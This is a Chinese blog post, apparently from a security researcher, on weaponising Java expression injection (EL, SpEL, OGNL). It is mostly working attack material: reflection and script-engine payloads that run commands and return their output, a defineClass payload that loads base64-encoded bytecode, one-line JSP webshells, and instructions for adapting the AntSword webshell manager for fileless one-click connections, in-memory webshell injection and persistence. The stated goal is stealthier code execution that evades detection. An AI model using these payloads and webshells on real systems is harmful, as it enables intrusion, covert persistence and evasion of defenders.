vlambda博客
学习文章列表

Java表达式注入的武器化利用

前言

Java安全从业者能吃上饭的三个主要原因:反序列化,JNDI注入,表达式注入(开个玩笑)。本文想就这三种类型的漏洞的利用谈谈自己的看法,同时提出表达式注入下的武器化利用方法。

关于武器化

在本人看来,漏洞武器化利用方式主要有以下几个特点

  1. 便捷性:一键式、傻瓜式操作。

  2. 通用性:兼容各种环境。

  3. 支持任意代码执行,而非单纯命令执行。

  4. 扩展性:联动其他工具。


目前大多数工具只是做到了任意命令执行,但是在实战中我们更希望得到一个任意代码执行的口子。原因是:

  1. 任意命令执行在进程命令行层面很容易留下痕迹被发现,而任意代码执行在语言函数层面,有天然的隐蔽的优势。

  2. 任意代码执行可以实现注入内存马等进阶操作。


        反序列化漏洞在Java安全中的重要性无需多提,其中较为著名的漏洞有weblogic系列漏洞,shiro反序列化漏洞等。其中较为有名的利用工具有ysoserial,几乎是每一个入门Java安全的同学必须学习的一个项目。但实际上ysoserial只是做到了最基础的“命令执行”,并不支持任意代码执行。wh1t3p1g师傅的ysomap则进行了大量的改进。不仅增加了非常多的利用模块,而且增加了很多利用链下任意代码执行的利用方式。


        JNDI注入。代表作Log4Shell,核弹漏洞。基础利用工具代表:marshalsec。武器化利用工具代表为feihong师傅的JNDIExploit。可以一键搭建ldap跟http环境,并且可以根据lookup对象的名称来执行动态的参数,还添加了一键注入内存马等功能。同样是做到了从任意命令执行到任意代码执行。


        表达式注入漏洞。代表成员有Struts2的ognl表达式注入,SpringBoot spel表达式注入,Tomcat的EL表达式注入等。但是目前大多payload还是弹一个计算器,并没有见到成熟的武器化利用方式。

那么怎么才能实现表达式注入的武器化利用呢?

中间层语言的选取

        Java中主流的表达式注入分为三种:EL,Spel,Ognl。不同表达式有不同的语法特点,有些必须要用反射去实例化类,有些可以直接new;有些表达式只能执行一句,有些可以执行多句。所以想要做到武器化利用就要选取一种通用的中间层语言。

自己曾经研究过一种基于JS引擎的Java一句话木马。其中JS引擎就非常符合我们的要求:

  1. 一行代码即可执行,无需执行多句

  2. JDK>=6都可以使用

  3. Java函数层面,可以做到任意代码执行

自己在博客文章里面对js引擎的各种语法进行了详细的解释:https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

手工利用

环境搭建

Tomcat 8.5+jdk8

这里模拟了一个el表达式注入的场景

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<% String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null); out.print(res);%>


无回显执行命令

可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。

样例如下:

code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}


或者是借助js引擎

code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}


不过两者都是无回显的,不优雅。

有回显执行命令

最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:


${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}


由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。

所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。

经过简化后,我们的payload如下:


${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")}

任意代码执行

在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:

code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}

ant参数内容如下:


try { load("nashorn:mozilla_compat.js"); } catch (e) {} importPackage(Packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = Base64().getDecoder().decode(str); } return bt; } function define(Classdata, cmd) { var classBytes = Base64DecodeToByte(Classdata); var byteArray = Java.type("byte[]"); var int = Java.type("int"); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod( "defineClass", byteArray.class, int.class, int.class ); defineClassMethod.setAccessible(true); var cc = defineClassMethod.invoke( Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length ); return cc.getConstructor(java.lang.String.class).newInstance(cmd); }  define( "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==", "calc" );

Java表达式注入的武器化利用


其中字节码部分可以换为注入内存马的payload等等。

蚁剑改造之一键连接

改造内容

之前的jspjs类型必须要在上下文中绑定request跟response对象。但是在Spel跟ognl大多数情况下无法直接获取到这两个对象。于是便对jspjs类型进行了一些改动:

1、取消对外部request跟response的依赖。

2、以编码器的形式内置了利用的payload。

具体commit可以看:

https://github.com/AntSwordProject/antSword/commit/797562b417271480628aa469789582a932318e47


原来的Shell必须要绑定request跟response对象

<% try { new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }})); } catch (Exception e) { }%>

经过改造后连绑定对象这一步也可以省去了,demo如下:

<% out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;%>

所以,现在不管是表达式还是什么场景,只要能够调用javax.script.ScriptEngineManager().getEngineByName("js").eval(xxx)这一句,理论上都可以用蚁剑进行无文件直接连接。


当然,现在的Shell跟之前的Shell并不冲突,两种都可以使用。有条件的话还是尽量使用第一种,原因后面会讲到。

EL表达式

起一个Tomcat,el.jsp内容如下

<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>

打开蚁剑,选择el编码器,一键连接。

Java表达式注入的武器化利用

Spel表达式

springboot设置一个测试环境,以spel为例

 @RequestMapping("/spel") public String eval(String spel){ SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); return expression.getValue().toString(); }

蚁剑选择spelbase64编码器可一键连接


Java表达式注入的武器化利用

Java表达式注入的武器化利用

至于为什么要加一层base64是因为发现如果直接发送的话,两个引号会被nashorn引擎吃掉成一个,然后报错。


Java表达式注入的武器化利用

Java表达式注入的武器化利用

Ognl表达式

以ognl为例

 @RequestMapping("/ognl") public String eval(String str) throws Exception { OgnlContext context = new OgnlContext(); Object ognl = Ognl.parseExpression(str); Object value = Ognl.getValue(ognl, context, context.getRoot()); return value.toString(); }

选择ognl编码器,一键连接

Java表达式注入的武器化利用

As-Exploits一键连接

As-Exploits是蚁剑的后渗透模块,支持一键反弹Shell,一键注入内存马,一键加载ShellCode等操作。

在1.5版本中,增加了对jspjs类型的支持。


因为As-Exploits中jspjs的payload实际上是对jsp的payload又包了一层,而jsp的payload是硬编码了必须要依赖request跟response,所以如果想在表达式环境下使用,要先绑定request跟response对象,也就是第一种Shell的写法。


另外由于jdk6/7下的Rhino引擎过于傻逼,搞了一晚上解决了各种坑之后发现还是无法直接获取到Object.class(https://github.com/mozilla/rhino/issues/757),所以在Rhino引擎下如何在js里调用defineClass还没有实现,如果有搞出来的师傅可以教教我。


基本信息模块

Java表达式注入的武器化利用

内存马管理模块

Java表达式注入的武器化利用

测试一下内存马注入功能,打进去一个antSword的filter。执行,提示成功

Java表达式注入的武器化利用

去内存马管理模块里看一下,发现已经注入成功

通过蚁剑就可以连接我们注入的内存马了。

最后

借助蚁剑,我们基本做到了对表达式注入的武器化利用。主要有3个作用:

  1. 漏洞的无文件利用。蚁剑的编码器其实有点类似于profile,可以自定义各种请求参数。根据不同场景自己改一改payload,即可达到对指定漏洞的无文件利用效果。本文不涉及具体漏洞的利用,感兴趣的同学可以自己研究。

  1. 表达式下的任意代码执行。原来的表达式注入大多是直接执行命令,属于命令执行层面很容易检测,懂得都懂。

  2. 构造webshell维权。原来jsp webshell主要局限在defineClass,现在可以通过各种表达式来构造webshell了,格局打开。

参考

https://paper.seebug.org/794/

https://xz.aliyun.com/t/9245

http://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/